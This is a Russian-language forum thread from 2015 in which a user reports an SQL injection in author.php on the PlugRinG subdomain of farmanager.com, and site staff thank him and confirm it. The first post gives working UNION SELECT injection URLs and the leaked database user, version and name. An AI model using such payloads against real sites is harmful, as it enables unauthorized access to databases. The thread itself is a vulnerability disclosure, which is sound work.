Уязвимость на сайте.

Здесь можно обсудить сайт PlugRinG и предложить идеи по его дальнейшему развитию.
Post Reply
n3m1s
Posts: 2
Joined: Fri 13 Feb, 2015 14:13

Уязвимость на сайте.

Post by n3m1s » Fri 13 Feb, 2015 14:40

Приветствую. Сразу к делу. Уязвимость типа SQL Injection на поддомене plugring.

Уязвимый скрипт: author.php, параметр aid.
Вектор атаки: [url]xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--[/url]
Вывод user, version, database: [url]xttp://plugring.farmanager.com/author.php?aid=-9+union+select+1,2,3,4,5,6,concat(user(),0x3a,version(),0x3a,database()),8,9,10,11,12,13,14--[/url]
Ответ: plugring@localhost:5.5.41-0ubuntu0.14.04.1:plugring

С уважением n3m1s.

n3m1s
Posts: 2
Joined: Fri 13 Feb, 2015 14:13

Уязвимость на сайте.

Post by n3m1s » Fri 13 Feb, 2015 14:47

Если что - nn3m1ss@xnteam.ru

User avatar
HaRT
Moderator
Posts: 8118
Joined: Tue 30 Aug, 2005 17:21
Location: Санкт-Петербург
Has thanked: 68 times
Been thanked: 107 times

Уязвимость на сайте.

Post by HaRT » Fri 13 Feb, 2015 14:51

n3m1s, спасибо.
Надеюсь, админы отреагируют.
Фар есть инструмент, а не нянька. © 2009 DrKnS

User avatar
WARP ItSelf
Самый умный
Posts: 1011
Joined: Tue 15 Mar, 2005 23:19
Contact:

Уязвимость на сайте.

Post by WARP ItSelf » Fri 13 Feb, 2015 17:52

Есть такое, спасибо.
Никто не знал, а я...

Post Reply

Return to “Обсуждение PlugRinG”